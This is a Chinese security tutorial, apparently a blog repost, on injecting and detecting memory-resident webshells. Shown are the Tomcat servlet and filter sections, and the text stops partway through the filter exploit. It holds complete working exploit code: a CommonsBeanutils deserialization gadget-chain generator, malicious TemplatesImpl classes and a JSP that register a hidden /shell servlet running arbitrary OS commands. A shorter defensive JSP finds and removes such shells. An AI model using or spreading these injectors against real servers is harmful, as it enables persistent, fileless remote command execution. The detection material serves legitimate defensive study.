扫码领资料
获网安教程
免费&进群
因为内存马种类繁杂,每次都要翻看很多文章,又加上最近有某个大活动,因此就写了这篇文章来总结一下常见的3种语言(PHP、Python、JAVA)的内存马的注入方法和查杀方法,并尝试自己完成一个内存马查杀工具的实现。希望本篇文章能给师傅们带来一些启发。文章一长就难免在表达和准确性上有所疏漏,如有错误或不足,请师傅们指正。
Java内存马的种类很多,这篇文章主要对Tomcat-Servlet、Tomcat-Filter、Tomcat-Listener、Tomcat-Websocket、JavaAgent以及SpringMVC Controller等种类的内存马进行研究。很多师傅在分析或者注入Java内存马的时候利用的exp大多是jsp形式的,通过向目标Web目录上传jsp文件,之后访问该jsp文件执行jsp代码从而注入Java内存马。因为这种方式仍然存在文件落盘,而存在文件落盘就意味着很容易被IDS监测到,因此笔者认为这种办法应当是我们拿不到代码执行权限,但是可以拿到命令执行权限或文件上传权限的时候再去利用。那如果我们可以拿到代码执行权限,比如目标存在反序列化漏洞的情况,我们又该如何做到在不上传jsp的条件下,完成内存马的注入?其实难点在于我们该怎样获取request对象。获取request对象并不仅仅是反序列化注入内存马要考虑的,在Java RCE Echo中,也是重中之重。本篇文章重点介绍通过反序列化注入内存马的方法。(本篇文章默认读者拥有基础的Tomcat、JavaAgent以及Spring框架知识)
PHP内存马是通过伪造fastcgi协议包与php-fpm进行通信,改变auto_prepend_file配置,从而在每次访问正常PHP文件时加载我们构造好的php马。因为笔者并不认可PHP不死马是一种内存马技术,因此在这篇文章就不做具体介绍了。
Python内存马,原出自hexman学长介绍的一种方法:https://github.com/iceyhexman/flask_memory_shell,通过利用flask/jinja2 SSTI漏洞来实现内存修改,注入内存马。网上也有不少文章在介绍这种内存马,然而仅仅只是根据payload来解释,没有人从代码层去分析能够注入内存马的原因,本篇文章会从代码层分析flask的请求上下文机制,并根据注入原理给出一些payload变形。虽然flask/jinja2 SSTI漏洞在真实场景中很难出现,但是在一些AWD比赛上关于flask/jinja2 SSTI漏洞的题目却是经常有,为了能够在目标修补SSTI漏洞后维持权限,这种内存马也是很值得学一学的。
笔者Tomcat的版本是9.0.76,不同的Tomcat版本可能会有所差异,请注意。
首先配置一个最简单的Servlet:
import java.io.*;
import javax.servlet.http.*;
import javax.servlet.annotation.*;
@WebServlet(name = "helloServlet", value = "/hello-servlet", loadOnStartup = 2)
public class HelloServlet extends HttpServlet {
private String message;
public void init() {
message = "Hello World!";
}
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
response.setContentType("text/html");
// Hello
PrintWriter out = response.getWriter();
out.println("<html><body>");
out.println("<h1>" + message + "</h1>");
out.println("</body></html>");
}
public void destroy() {
}
}
此处写loadOnStartup=2是为了后面的调试更好理解。接着导入tomcat-catalina依赖,应与自己的tomcat版本一致:
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.76</version>
<scope>provided</scope>
</dependency>
在org.apache.catalina.startup.ContextConfig#configureContext处打下断点,开始调试:
因为我们是采用注解的方式配置Servlet,因此此处我们仍然可以获取到创建的Servlet。首先是DefalutServlet以及JspServlet,接着就遍历到了我们创建的HelloServlet了:
之后执行this.context.createWrapper()
创建Wrapper,Wrapper 表示一个Servlet,负责管理整个 Servlet 的生命周期,包括装载、初始化、资源回收等:
可以看到this.context是一个StandardContext对象。那我们继续调试看看对Wrapper进行了哪些操作:
首先获取Servlet的LoadOnStartup和enabled,并设置给Wrapper。其中LoadOnStartup就是我们在注解中配置的参数,它表示servlet被加载的先后顺序。继续跟进:
这里调用了Servlet的getServletName()方法,获取servlet的名字,也就是我们在主机中配置的name参数的值,接着将name的值设置给Wrapper。接着还将servlet.getRunAs()
的结果传入给了Wrapper,不过因为此处servlet.getRunAs()
的执行结果是null且roleRefs.size()==0
,因此此处我们可以忽略:
继续跟进:
可以看到此处将Wrapper的servletClass设置为HelloServlet的全限定名。继续跟进,因为Servlet的multipartDef==null、asyncSupported==null,因此以下部分我们可以跳过:
之后又执行了addChild方法将这个Wrapper添加进了StandardContext中:
接下来添加Servlet-Mapper,也就是web.xml中的<servlet-mapping>
,不过因为我们是通过注解设置url和servlet的映射关系,因此此处是通过注解获取而非web.xml。接着循环addServletMappingDecoded将url和servlet类做映射:
至此我们就看完了servlet的注册流程,但是还有一个疑问,那就是这个StandardContext从哪里获取?
其实这个分两种情况,一种是网上很常见的,将内存马的生成代码写入到jsp并上传到目标服务器,接着访问该jsp然后注入内存马,这种方法获取StandardContext比较容易,因为jsp内置request对象,因此可以直接利用request对象反射获取。但是这种情况要求文件落地,很容易被检测到。还有一种情况是通过某些gadget chain(如CC11,CB1)打入字节码,然后注入内存马。这种情况需要我们知道request存储的位置,获取到request对象后通过反射获取StandardContext。第二种情况更隐蔽,但同时要求和难度更大,这里对两种方法都进行介绍。
添加commons-beanutils依赖:
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.2</version>
</dependency>
并修改HelloServlet的doPost方法,我们手动构造一个反序列化漏洞环境:
public void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException{
String codes = request.getParameter("codes");
System.out.println(codes);
byte[] codebytes = Base64.getDecoder().decode(codes);
try {
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(codebytes));
ois.readObject();
ois.close();
}catch (ClassNotFoundException c){
}
response.setContentType("text/html");
// Hello
PrintWriter out = response.getWriter();
out.println("<html><body>");
out.println("<h1>反序列化成功!</h1>");
out.println("</body></html>");
}
反序列化注入内存马获取request对象的方法,我这里提供两种。一种是kingkk师傅提出的:
1、反射修改
ApplicationDispatcher.WRAP_SAME_OBJECT
2、初始化
lastServicedRequest
和lastServicedResponse
两个变量,默认为null3、从
lastServicedResponse
中获取当前请求response,并且回显内容。
这种方法缺点是只使用于Tomcat,但优点是耗时更短,获取request更稳定。另一种是c0ny1师傅提出的通过Thread.currentThread()或Thread.getThreads()获取:
按照经验来讲Web中间件是多线程的应用,一般requst对象都会存储在线程对象中,可以通过
Thread.currentThread()
或Thread.getThreads()
获取。当然其他全局变量也有可能,这就需要去看具体中间件的源码了。比如前段时间先知上的李三师傅通过查看代码,发现[MBeanServer](https://xz.aliyun.com/t/7535)
中也有request对象。
这种方法的优点是更加通用,在多种Web中间件中都可以使用,但缺点是耗时稍长,且有时候会出现没有搜索到request对象的情况。出现首先给出第一种方法的EXP:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;
public class Test {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static Object getpayload() throws Exception{
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(1);
queue.add(1);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
return queue;
}
@org.junit.jupiter.api.Test
public void test1() throws Exception{
Object payload = getpayload();
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeObject(payload);
outputStream.flush();
String codes = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
System.out.println(codes);
}
}
以下是CB1反序列化所需要的恶意模板类:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterChain;
import org.apache.catalina.core.StandardContext;
import javax.servlet.*;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.Scanner;
public class EvilTemplatesImpl extends AbstractTranslet implements Servlet{
private transient ServletConfig config;
@Override
public void init(ServletConfig var1) throws ServletException{
return;
};
public ServletConfig getServletConfig(){
return this.config;
};
public String getServletInfo(){
return "Servlet Info";
};
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
String cmd = servletRequest.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
}
@Override
public void destroy() {
return;
}
public static void setFinalStatic(Field field) throws NoSuchFieldException, IllegalAccessException {
field.setAccessible(true);
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
public EvilTemplatesImpl(String abc){
}
public EvilTemplatesImpl() throws Exception{
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
setFinalStatic(WRAP_SAME_OBJECT_FIELD);
setFinalStatic(lastServicedRequestField);
setFinalStatic(lastServicedResponseField);
ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);
if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null) || lastServicedRequest == null || lastServicedResponse == null){
WRAP_SAME_OBJECT_FIELD.setBoolean(null,true);
lastServicedRequestField.set(null, new ThreadLocal());
lastServicedResponseField.set(null, new ThreadLocal());
}else {
AddMemoryShell(lastServicedRequest, lastServicedResponse);
}
}
public static void AddMemoryShell(ThreadLocal<ServletRequest> lastServicedRequest, ThreadLocal<ServletResponse> lastServicedResponse) throws Exception{
ServletRequest servletRequest = lastServicedRequest.get();
ServletResponse servletResponse = lastServicedResponse.get();
ServletContext servletContext = servletRequest.getServletContext();
Field context = servletContext.getClass().getDeclaredField("context");
context.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);
Field context1 = applicationContext.getClass().getDeclaredField("context");
context1.setAccessible(true);
StandardContext standardContext = (StandardContext) context1.get(applicationContext);
//获得StandardContext后按照分析的步骤做就行了
Wrapper EvilWrapper = standardContext.createWrapper();
//(重点)此处不利用无参构造方法获得EvilTemplatesImpl对象是避免循环执行无参构造方法中的代码!
Servlet evilTemplates = new EvilTemplatesImpl("rainb0w");
String ClassName = evilTemplates.getClass().getSimpleName();
EvilWrapper.setName(ClassName);
EvilWrapper.setLoadOnStartup(1);
EvilWrapper.setServlet(evilTemplates);
EvilWrapper.setServletClass(evilTemplates.getClass().getName());
standardContext.addChild(EvilWrapper);
standardContext.addServletMappingDecoded("/shell", ClassName);
}
}
这里无法直接new一个Servlet对象,具体原因未知(后续反序列化注入Tomcat-Filter型内存马时同样无法直接创建一个Filter对象)。因此采用办法的是让EvilTemplatesImpl实现Servlet接口,接着重写接口中的方法,将接受参数执行命令并回显的部分写入service方法中,最后我们直接创建一个EvilTemplatesImpl对象即是一个Servlet对象。但是切记不要使用无参构造方法创建,因为反序列化时我们无参构造方法中的代码是默认执行的,如果这里创建对象时还用无参构造方法,那么就会造成递归。实际效果如下:
首先将生成的payload进行url编码发送:
接着进入/shell即可执行命令:
以下是第二种方法的EXP:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;
public class Test {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
public static Object getpayload() throws Exception{
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(EvilTemplatesImpl1.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(1);
queue.add(1);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
return queue;
}
@org.junit.jupiter.api.Test
public void test1() throws Exception{
Object payload = getpayload();
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeObject(payload);
outputStream.flush();
String codes = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
System.out.println(codes);
}
}
恶意模板类如下所示:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.HashSet;
import java.util.Scanner;
public class EvilTemplatesImpl1 extends AbstractTranslet implements Servlet{
private transient ServletConfig config;
@Override
public void init(ServletConfig var1) throws ServletException{
return;
};
@Override
public ServletConfig getServletConfig(){
return this.config;
};
@Override
public String getServletInfo(){
return "Servlet Info";
};
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
String cmd = servletRequest.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
}
@Override
public void destroy() {
return;
}
static HashSet<Object> h;
static HttpServletRequest r;
static HttpServletResponse p;
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
public EvilTemplatesImpl1(){
r = null;
p = null;
h =new HashSet<Object>();
F(Thread.currentThread(),0);
}
public EvilTemplatesImpl1(String s){
}
private static boolean i(Object obj){
if(obj==null|| h.contains(obj)){
return true;
}
h.add(obj);
return false;
}
private static void p(Object o, int depth){
if(depth > 52||(r !=null&& p !=null)){
return;
}
if(!i(o)){
if(r ==null&&HttpServletRequest.class.isAssignableFrom(o.getClass())){
r = (HttpServletRequest)o;
if(r.getHeader("rainb0w")==null) {
r = null;
}else{
try {
p = (HttpServletResponse) r.getClass().getMethod("getResponse").invoke(r);
} catch (Exception e) {
r = null;
}
}
}
if(r !=null&& p !=null){
AddMemoryShell(r,p);
return;
}
F(o,depth+1);
}
}
private static void F(Object start, int depth){
Class n=start.getClass();
do{
for (Field declaredField : n.getDeclaredFields()) {
declaredField.setAccessible(true);
Object o = null;
try{
o = declaredField.get(start);
if(!o.getClass().isArray()){
p(o,depth);
}else{
for (Object q : (Object[]) o) {
p(q, depth);
}
}
}catch (Exception e){
}
}
}while(
(n = n.getSuperclass())!=null
);
}
public static void AddMemoryShell(HttpServletRequest request, HttpServletResponse response){
try {
ServletContext servletContext = request.getServletContext();
Field context = servletContext.getClass().getDeclaredField("context");
context.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);
Field context1 = applicationContext.getClass().getDeclaredField("context");
context1.setAccessible(true);
StandardContext standardContext = (StandardContext) context1.get(applicationContext);
Wrapper EvilWrapper = standardContext.createWrapper();
//(重要!)此处不利用无参构造方法获得EvilTemplatesImpl对象是避免循环执行无参构造方法中的代码!
Servlet evilServlet = new EvilTemplatesImpl1("rainb0w");
String ClassName = evilServlet.getClass().getSimpleName();
EvilWrapper.setName(ClassName);
EvilWrapper.setLoadOnStartup(1);
EvilWrapper.setServlet(evilServlet);
EvilWrapper.setServletClass(evilServlet.getClass().getName());
standardContext.addChild(EvilWrapper);
standardContext.addServletMappingDecoded("/shell", ClassName);
}catch (Exception e){
}
}
}
阅读代码,可以看到我们这里判断是否获取到了当前请求的request对象时,是通过判断当前请求是否存在rainb0w请求头来进行的。如果能够获取到当前请求的request对象,那么就通过反射获取到当前请求的response对象。接着传入到AddMemoryShell方法用于获取StandardContext。因此我们在传入生成的payload的时候就需要发送rainb0w请求头:
因为通过这种方法获取request对象不稳定,因此可能需要传入多次payload。
相比反序列化传入字节码注入内存马相比,上传jsp的方法则要简单的多,因此jsp中内置request对象,我们可以直接用内置的request对象反射获得StandardContext:
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.io.*" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %><%!
public class ServletShell extends HttpServlet {
public void init(FilterConfig config) throws ServletException {}
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
PrintWriter out = response.getWriter();
String command = request.getParameter("cmd");
BufferedReader br = null;
if(command == null){
command = "whoami";
}
Process p = Runtime.getRuntime().exec(command);
br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line = null;
StringBuffer stringBuffer = new StringBuffer();
while ((line = br.readLine())!=null)
{
stringBuffer.append(line + "\n");
}
out.println(stringBuffer.toString());;
}public void destroy( ){
}
}
%><%
ServletContext servletContext = request.getServletContext();
Field applicationContextFiled = servletContext.getClass().getDeclaredField("context");
applicationContextFiled.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextFiled.get(servletContext);
Field standardContextFiled = applicationContext.getClass().getDeclaredField("context");
standardContextFiled.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextFiled.get(applicationContext);Wrapper wrapper = standardContext.createWrapper();
wrapper.setLoadOnStartup(1);
ServletShell servletShell = new ServletShell();
wrapper.setName(servletShell.getClass().getSimpleName());
wrapper.setServlet(servletShell);
wrapper.setServletClass(servletShell.getClass().getName());
%>
<%
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/shell", servletShell.getClass().getSimpleName());
%>
和Servlet相关的是children
和servletMappings
两个属性,这两个属性分别维护着Servlet的定义,以及Servlet的映射关系。在StandardContext中有removeChild()方法来删除指定的Wrapper:
org.apache.catalina.core.StandardContext#removeServletMapping方法通过指定的pattern删除Servlet映射。
有了这两个方法我们就可以删除掉指定的Servlet了。那我们该怎么知道哪些类是内存马需要被删除呢?有以下几种判断方法:
判断该Class是否有对应的磁盘文件
dump Class字节码,反编译审计是否存在恶意代码
是否被可疑的ClassLoader所加载?
根据Class名及urlpattern判断
以下给出查杀代码:
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="org.apache.catalina.Container" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.apache.catalina.core.StandardWrapper" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Iterator" %>
<%!
public Object getStandardContext(HttpServletRequest request) throws NoSuchFieldException, IllegalAccessException {
ServletContext servletContext = request.getServletContext();
Field applicationContextFiled = servletContext.getClass().getDeclaredField("context");
applicationContextFiled.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextFiled.get(servletContext);
Field standardContextFiled = applicationContext.getClass().getDeclaredField("context");
standardContextFiled.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextFiled.get(applicationContext);
return standardContext;
}
%>
<%!
public synchronized HashMap<String, Container> getChildren(HttpServletRequest request) throws Exception {
Object standardContext = getStandardContext(request);
Field childrenFiled = standardContext.getClass().getSuperclass().getDeclaredField("children");
childrenFiled.setAccessible(true);
HashMap<String, Container> children = (HashMap<String, Container>) childrenFiled.get(standardContext);
return children;
}
%>
<%!
public synchronized HashMap<String, String> getServletMaps(HttpServletRequest request) throws Exception {
Object standardContext = getStandardContext(request);
Field servletMappingsField = standardContext.getClass().getDeclaredField("servletMappings");
servletMappingsField.setAccessible(true);
HashMap<String, String> servletMappings = (HashMap<String, String>) servletMappingsField.get(standardContext);
return servletMappings;
}
%>
<%!
public boolean classFileIsExists(Class clazz) {
if (clazz == null) {
return false;
}String className = clazz.getName();
String classNamePath = className.replace(".", "/") + ".class";
URL url = clazz.getClassLoader().getResource(classNamePath);
if (url == null) {
return false;
} else {
return true;
}
}
%>
<%!
public boolean isMemoryShell(String servletClassLoaderName, Class servletClass){
if((!servletClassLoaderName.contains("org.apache.catalina.loader") && !servletClassLoaderName.equals("java.net.URLClassLoader")) || !classFileIsExists(servletClass)){
return true;
}else {
return false;
}
}
%>
<%!
public synchronized void deleteServlet(HttpServletRequest request, String servletName) throws Exception {
HashMap<String, Container> childs = getChildren(request);
Object objChild = childs.get(servletName);
String urlPattern = null;
HashMap<String, String> servletMaps = getServletMaps(request);
for (Map.Entry<String, String> servletMap : servletMaps.entrySet()) {
if (servletMap.getValue().equals(servletName)) {
urlPattern = servletMap.getKey();
break;
}
}
if (urlPattern != null) {
// 反射调用 org.apache.catalina.core.StandardContext#removeServletMapping
Object standardContext = getStandardContext(request);
Method removeServletMapping = standardContext.getClass().getDeclaredMethod("removeServletMapping", new Class[]{String.class});
removeServletMapping.setAccessible(true);
removeServletMapping.invoke(standardContext, urlPattern);
// 反射调用 org.apache.catalina.core.StandardContext#removeChild
Method removeChild = standardContext.getClass().getDeclaredMethod("removeChild", new Class[]{org.apache.catalina.Container.class});
removeChild.setAccessible(true);
removeChild.invoke(standardContext, objChild);
}
}
%><%
HashMap<String, Container> children = getChildren(request);
Map<String, String> servletMappings = getServletMaps(request);
Map<String, String> servletMappingsCopy = new HashMap<>(servletMappings);
for(Map.Entry<String, String> entry : servletMappingsCopy.entrySet()){
String servletMapPath = entry.getKey();
String servletName = entry.getValue();
StandardWrapper wrapper = (StandardWrapper) children.get(servletName);Class servletClass = null;
try {
servletClass = Class.forName(wrapper.getServletClass());
} catch (Exception e) {
Object servlet = wrapper.getServlet();
if (servlet != null) {
servletClass = servlet.getClass();
}
}
if (servletClass != null) {
out.write("<tr>");
String servletClassName = servletClass.getName();
String servletClassLoaderName = null;
try {
servletClassLoaderName = servletClass.getClassLoader().getClass().getName();
} catch (Exception e) {
}
if(isMemoryShell(servletClassLoaderName, servletClass)){
deleteServlet(request, servletName);
}
}
}
%>
代码很容易理解,稍微解释一下吧。首先获取children属性和servletMappings属性,之后不断遍历servletMappings,获取ClassName以及ClassLoaderName,之后调用isMemoryShell函数判断是否为内存马,如果是内存马则删除,以下是isMemoryShell函数:
public boolean isMemoryShell(String servletClassLoaderName, Class servletClass){
if((!servletClassLoaderName.contains("org.apache.catalina.loader") && !servletClassLoaderName.equals("java.net.URLClassLoader")) || !classFileIsExists(servletClass)){
return true;
}else {
return false;
}
}
判断逻辑很简单粗暴,判断是否是一个正常的ClassLoader以及该Class是否有对应的磁盘文件。
写一个简单的Filter:
package com.example.tomcatservletmemshell;import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import javax.servlet.http.HttpFilter;@WebFilter(filterName = "helloFIlter", urlPatterns = "/hello-servlet")
public class HelloFilter extends HttpFilter {
public void init(FilterConfig config) throws ServletException {}
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws java.io.IOException, ServletException {
System.out.println("rainb0w");;// 把请求传回过滤链
chain.doFilter(request,response);
}
public void destroy( ){}
}
因为我们是通过注解的方式添加了一个Filter,因此我们需要找一下该注解的处理位置,首先利用maven下载源代码,之后全局搜索:
进入后,发现org.apache.catalina.startup.ContextConfig#processAnnotationWebFilter
是处理@WebFilter的函数:
打下断点,跟进:
可以看到,filterName的值为我们在注解中配置好的filterName。接着往下看:
创建filterDef对象,设置了filterName和filterClass,其中filterClass是我们创建的FIlter的全限定名。之后遍历evps
for 循环两次,evp.getNameString()
获得的字符串结果有两个,一个是filterName,还有一个是urlPatterns,也就是我们在注解中配置那两个参数。当name变量被赋值urlPatterns时,进入if语句:
得到urlPatterns并遍历,将所有的urlPattern添加进filterMap中。继续跟进:
可以看到,通过调用addFilter()
和addFilterMapping()
将filterDef
和filterMap
添加进fragment
中。fragment是个webXml对象,里面存放着web的各种配置信息,会和web.xml读取出来的信息会进行合并。继续跟进,执行到如下代码:
又是configureContext
函数,还记得我们上面在分析注册Servlet流程的时候也看到了这个函数吗?这里注释解释得也很清楚,此处是将合并后的web.xml应用于Context。进入configureContext函数,此处调用addFilterDef()和addFilterMap()方法,context同样是一个StandardContext对象:
但是请注意,此时仍然完成自定义 Filter 的注册,因为并没有将这个 Filter 放到 FilterChain 中。之后我们在doFilter处打下断点,访问/hello-servlet,看到调用栈:
发现在下图的位置org.apache.catalina.core.ApplicationFilterChain#internalDoFilter
执行了doFilter
:
可以看到filter是从filterConfig取出的,而filterConfig是从filters数组中的元素赋值得到的。那么ApplicationFilterChain是什么时候被创建的呢?它其中的filters字段又是什么时候被赋值的呢?继续看调用栈:
向上回溯,可以看到下图的位置执行了filterChain.doFilter(),也正是因为这里的调用,我们创建的Filter中的doFilter得以执行:
向上看,可以看到filterChain是通过ApplicationFilterFactory.createFilterChain()得到的。跟进org.apache.catalina.core.ApplicationFilterFactory#createFilterChain,打下断点,进行调试:
取出StandardContext中的filterMaps并复制给filterMaps,可以看到filterMaps中有我们创建的Filter:
继续跟进:
通过.addFilter()方法添加进从StandardContext中取出的filterConfig,并将其赋值给filterChain中的filters数组字段中的元素。至此,我们就已经完整地跟进了整个Filter的注册和doFilter的调用。
过程其实挺好理解,总结一下:
1.获取StandardContext:
2.创建FilterDef,通过addFilterDef()函数添加进StandardContext
3.创建ApplicationFilterConfig,通过反射拿到StandardContext的filterConfigs字段,并调用put()方法将ApplicationFilterConfig添加进StandardContext
3.创建FilterMap,通过addFilterMapBefore()函数添加进StandardContext。
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;public class Test {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}public static Object getpayload() throws Exception{
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(FilterTemplatesImpl.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());final BeanComparator comparator = new BeanComparator();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(1);
queue.add(1);setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});return queue;
}@org.junit.jupiter.api.Test
public void test1() throws Exception{
Object payload = getpayload();
